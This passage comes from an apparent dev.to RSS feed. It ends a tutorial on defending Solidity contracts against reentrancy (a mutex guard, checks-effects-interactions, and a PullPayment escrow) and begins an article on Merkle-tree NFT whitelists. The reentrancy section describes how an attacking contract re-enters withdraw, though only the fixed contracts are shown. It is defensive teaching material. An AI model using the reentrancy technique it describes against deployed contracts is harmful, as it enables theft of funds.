&lt;pre class="highlight solidity"&gt;&lt;code&gt;&lt;span class="kt"&gt;bool&lt;/span&gt; &lt;span class="k"&gt;private&lt;/span&gt; &lt;span class="n"&gt;locks&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

 &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;withdraw&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="k"&gt;external&lt;/span&gt; &lt;span class="k"&gt;payable&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nb"&gt;require&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;locks&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"Balances locked!"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="n"&gt;locks&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;true&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

        &lt;span class="nb"&gt;require&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;balances&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sender&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"Not enough balance"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;bool&lt;/span&gt; &lt;span class="n"&gt;sent&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sender&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nb"&gt;call&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="n"&gt;balances&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sender&lt;/span&gt;&lt;span class="p"&gt;]}(&lt;/span&gt;&lt;span class="s"&gt;""&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="nb"&gt;require&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sent&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"failed to transfer ETH"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

        &lt;span class="n"&gt;balances&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sender&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

        &lt;span class="n"&gt;locks&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;false&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;When Bank's withdraw function calls Attack's receive function, &lt;code&gt;locks&lt;/code&gt; is still &lt;code&gt;true&lt;/code&gt;. It will trigger the &lt;code&gt;require&lt;/code&gt; function, and revert the call. &lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--oE6e7MYW--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://cdn.hashnode.com/res/hashnode/image/upload/v1662912585978/OyKSWclqF.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--oE6e7MYW--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://cdn.hashnode.com/res/hashnode/image/upload/v1662912585978/OyKSWclqF.png" alt="reentrancy-mutex.png" width="880" height="531"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;That is the simplest form of Reentrancy guard. If you want a more complex one, check out OpenZeppelin's &lt;a href="https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/security/ReentrancyGuard.sol"&gt;ReentrancyGuard.sol&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Checks, Effects, Interactions
&lt;/h3&gt;

&lt;p&gt;We set the user's balance to 0 before transferring the funds to the Attack contract. &lt;code&gt;require(balances[msg.sender]&amp;gt;0, "Not enough balance");&lt;/code&gt; will be triggered when the Attack contract call withdraw function again.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight solidity"&gt;&lt;code&gt;&lt;span class="c1"&gt;// SPDX-License-Identifier: MIT
&lt;/span&gt;&lt;span class="k"&gt;pragma&lt;/span&gt; &lt;span class="n"&gt;solidity&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt;&lt;span class="mf"&gt;0.8&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="k"&gt;contract&lt;/span&gt; &lt;span class="n"&gt;Bank&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;mapping&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;address&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="kt"&gt;uint&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="n"&gt;balances&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

    &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;deposit&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="k"&gt;external&lt;/span&gt; &lt;span class="k"&gt;payable&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;balances&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sender&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="nb"&gt;transfer&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;address&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;uint&lt;/span&gt; &lt;span class="n"&gt;amount&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;external&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;balances&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sender&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;=&lt;/span&gt; &lt;span class="n"&gt;amount&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="n"&gt;balances&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;to&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="n"&gt;amount&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
            &lt;span class="n"&gt;balances&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sender&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;-=&lt;/span&gt; &lt;span class="n"&gt;amount&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;withdraw&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="k"&gt;external&lt;/span&gt; &lt;span class="k"&gt;payable&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nb"&gt;require&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;balances&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sender&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"Not enough balance"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

         &lt;span class="n"&gt;balances&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sender&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

        &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;bool&lt;/span&gt; &lt;span class="n"&gt;sent&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sender&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nb"&gt;call&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="n"&gt;balances&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sender&lt;/span&gt;&lt;span class="p"&gt;]}(&lt;/span&gt;&lt;span class="s"&gt;""&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="nb"&gt;require&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sent&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"failed to transfer ETH"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  PullPayment
&lt;/h3&gt;

&lt;p&gt;In this pattern, the paying contract sends funds to an intermediate escrow to avoid direct contact with bad contracts. We now store users' &lt;code&gt;balances&lt;/code&gt; in the &lt;code&gt;Escrow&lt;/code&gt; smart contract, and the users can pull the funds themself from there.&lt;/p&gt;

&lt;h4&gt;
  
  
  Bank smart contract
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight solidity"&gt;&lt;code&gt;&lt;span class="k"&gt;pragma&lt;/span&gt; &lt;span class="n"&gt;solidity&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt;&lt;span class="mf"&gt;0.8&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="s"&gt;"./Escrow.sol"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="k"&gt;contract&lt;/span&gt; &lt;span class="n"&gt;Bank&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;Escrow&lt;/span&gt; &lt;span class="k"&gt;private&lt;/span&gt; &lt;span class="kr"&gt;immutable&lt;/span&gt; &lt;span class="n"&gt;_escrow&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

    &lt;span class="k"&gt;constructor&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;_escrow&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="n"&gt;Escrow&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;withdrawPayments&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;address&lt;/span&gt; &lt;span class="k"&gt;payable&lt;/span&gt; &lt;span class="n"&gt;payee&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="k"&gt;virtual&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;_escrow&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;withdraw&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;payee&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;payments&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;address&lt;/span&gt; &lt;span class="n"&gt;dest&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="k"&gt;view&lt;/span&gt; &lt;span class="k"&gt;returns&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;uint256&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;_escrow&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;depositsOf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;dest&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;_asyncTransfer&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;address&lt;/span&gt; &lt;span class="n"&gt;dest&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;uint256&lt;/span&gt; &lt;span class="n"&gt;amount&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;internal&lt;/span&gt; &lt;span class="k"&gt;virtual&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;_escrow&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;deposit&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="n"&gt;amount&lt;/span&gt;&lt;span class="p"&gt;}(&lt;/span&gt;&lt;span class="n"&gt;dest&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  Escrow smart contract
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight solidity"&gt;&lt;code&gt;&lt;span class="k"&gt;pragma&lt;/span&gt; &lt;span class="n"&gt;solidity&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt;&lt;span class="mf"&gt;0.8&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="s"&gt;'@openzeppelin/contracts/access/Ownable.sol'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="s"&gt;'@openzeppelin/contracts/utils/Address.sol'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="k"&gt;contract&lt;/span&gt; &lt;span class="n"&gt;Escrow&lt;/span&gt; &lt;span class="k"&gt;is&lt;/span&gt; &lt;span class="n"&gt;Ownable&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;

    &lt;span class="k"&gt;using&lt;/span&gt; &lt;span class="n"&gt;Address&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="kt"&gt;address&lt;/span&gt; &lt;span class="k"&gt;payable&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

    &lt;span class="k"&gt;mapping&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;address&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="kt"&gt;uint256&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;private&lt;/span&gt; &lt;span class="n"&gt;_balances&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

    &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;depositsOf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;address&lt;/span&gt; &lt;span class="n"&gt;payee&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="k"&gt;view&lt;/span&gt; &lt;span class="k"&gt;returns&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;uint256&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;_balances&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;payee&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;


    &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;deposit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;address&lt;/span&gt; &lt;span class="n"&gt;payee&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="k"&gt;payable&lt;/span&gt; &lt;span class="k"&gt;virtual&lt;/span&gt; &lt;span class="n"&gt;onlyOwner&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="kt"&gt;uint256&lt;/span&gt; &lt;span class="n"&gt;amount&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="n"&gt;_balances&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;payee&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="n"&gt;amount&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;withdraw&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;address&lt;/span&gt; &lt;span class="k"&gt;payable&lt;/span&gt; &lt;span class="n"&gt;payee&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="k"&gt;virtual&lt;/span&gt; &lt;span class="n"&gt;onlyOwner&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="kt"&gt;uint256&lt;/span&gt; &lt;span class="n"&gt;payment&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;_balances&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;payee&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;

        &lt;span class="n"&gt;_balances&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;payee&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

        &lt;span class="n"&gt;payee&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sendValue&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;payment&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We still need to protect the Escrow smart contract from reentrancy attacks. That is why we have &lt;code&gt;_balances[payee] = 0;&lt;/code&gt; before sending funds in the &lt;code&gt;withdraw&lt;/code&gt; function.&lt;/p&gt;

&lt;p&gt;Like the Reetrancy guard, the PullPayment method is recommended by OpenZeppelin. You can find the details versions of the two smart contracts above in their Github Repo: &lt;a href="https://github.com/OpenZeppelin/openzeppelin-contracts/blob/c1d6e39aab042a38a90f618c614a298522851f7b/contracts/security/PullPayment.sol"&gt;PullPayment.sol&lt;/a&gt; and &lt;a href="https://github.com/OpenZeppelin/openzeppelin-contracts/blob/c1d6e39aab042a38a90f618c614a298522851f7b/contracts/utils/escrow/Escrow.sol#L47"&gt;Escrow.sol&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;Reentrancy is probably the most popular and exploited vulnerability in the history of Web3. Smart contract developers must understand how it works and how to prevent it from being exploited. Checkout this Github &lt;a href="https://github.com/peterblockman/reentrancy"&gt;repo&lt;/a&gt; for the code.&lt;/p&gt;

</description>
      <category>solidity</category>
      <category>ethereum</category>
      <category>smartcontract</category>
      <category>blockchain</category>
    </item>
    <item>
      <title>Understand Merkle tree by making an NFT minting whitelist</title>
      <dc:creator>Peter Blockman</dc:creator>
      <pubDate>Fri, 26 Aug 2022 06:36:00 +0000</pubDate>
      <link>https://dev.to/peterblockman/understand-merkle-tree-by-making-a-nft-minting-whitelist-1148</link>
      <guid>https://dev.to/peterblockman/understand-merkle-tree-by-making-a-nft-minting-whitelist-1148</guid>
      <description>&lt;p&gt;&lt;strong&gt;TL;DR&lt;/strong&gt;&lt;br&gt;
If you are familiar with Merkle tree and want to jump to the code. Here you go:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Simplified codes that I use in this article: &lt;a href="https://github.com/peterblockman/merkle-tree-nft-whitelist/tree/feat/simple"&gt;Github&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;A more DRY version that you can reuse in your project: &lt;a href="https://github.com/peterblockman/merkle-tree-nft-whitelist/tree/main"&gt;Github&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;
  
  
  Table of contents
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Introduction&lt;/li&gt;
&lt;li&gt;What is Merkle tree&lt;/li&gt;
&lt;li&gt;Validate data using Merkle tree&lt;/li&gt;
&lt;li&gt;
Create a whitelist using Merkle tree

&lt;ul&gt;
&lt;li&gt;Setting up&lt;/li&gt;
&lt;li&gt;The smart contract&lt;/li&gt;
&lt;li&gt;Create the whitelist&lt;/li&gt;
&lt;li&gt;Step 1: Create a Merkle Tree&lt;/li&gt;
&lt;li&gt;Step 2: Get Merkel proofs&lt;/li&gt;
&lt;li&gt;Step 3: Get Merkle root&lt;/li&gt;
&lt;li&gt;Step 4: Verify users' address and quantity&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Conclusion&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;
  
  
  Introduction
&lt;/h2&gt;

&lt;p&gt;NFT whitelisting is a way to reward your community's active users, and an effective tool to prevent fraud. Instead of storing all user data directly on-chain, which can be costly, we can utilize a Merkle tree generated from the user data. From this tree, only the root (stored as bytes32) is extracted and stored on-chain. This approach significantly reduces gas fees.&lt;/p&gt;

&lt;p&gt;In this article, I’ll delve into how the Merkle Tree operates by creating a minting whitelist for my fictional NFT project, Excited Apes Yacht Club (EAYC).&lt;br&gt;
 &lt;/p&gt;
&lt;h2&gt;
  
  
  What is Merkle tree
&lt;/h2&gt;

&lt;p&gt;Merkle tree is a hash-based data structure that is used in cryptography to maintain data integrity. Each non-leaf node in a Merkle tree is a hash of its children. This means that each non-leaf node has 2 children max.&lt;br&gt;
&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fe14bd4v94zdjux2n6cvy.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fe14bd4v94zdjux2n6cvy.png" alt="Merkle tree definition" width="800" height="496"&gt;&lt;/a&gt;&lt;br&gt;
There are four data blocks in the example tree above. Hashing each of them results in four leaf nodes A-0, A-1, B-0, and B-1. Each consecutive leaf node pair (A-0, A-1), (B-0, B-1) is repeatedly hashed to create non-leaf nodes A and B. Finally, the two non-leaf nodes' hashes (A and B) are hashed again to create the root hash (Merkle root).&lt;/p&gt;
&lt;h2&gt;
  
  
  Validate data using Merkle tree
&lt;/h2&gt;

&lt;p&gt;To validate if the A-0 hash (target hash) exists in the Merkle tree, we need to rebuild the tree. To do that, we only need A-1 and B hash. If we can recreate the root hash, the A-0 hash is valid. That is the beauty of the Merkle tree! We don't need to know all its hashes to validate the target hash.&lt;br&gt;
&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmagrrovxfxb4v1fjwfqo.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmagrrovxfxb4v1fjwfqo.png" alt="target hash" width="800" height="414"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;
  
  
  Create a whitelist using Merkle tree
&lt;/h2&gt;
&lt;h3&gt;
  
  
  Setting up
&lt;/h3&gt;

&lt;p&gt;We use hardhat to set up our project. if you are not familiar with hardhat, check out their &lt;a href="https://hardhat.org/hardhat-runner/docs/getting-started#quick-start"&gt;documentation&lt;/a&gt;.&lt;/p&gt;
&lt;h3&gt;
  
  
  The smart contract
&lt;/h3&gt;

&lt;p&gt;We will use ERC721 for our NFT project.&lt;br&gt;
&lt;code&gt;ExcitedApeYachtClub.sol&lt;/code&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
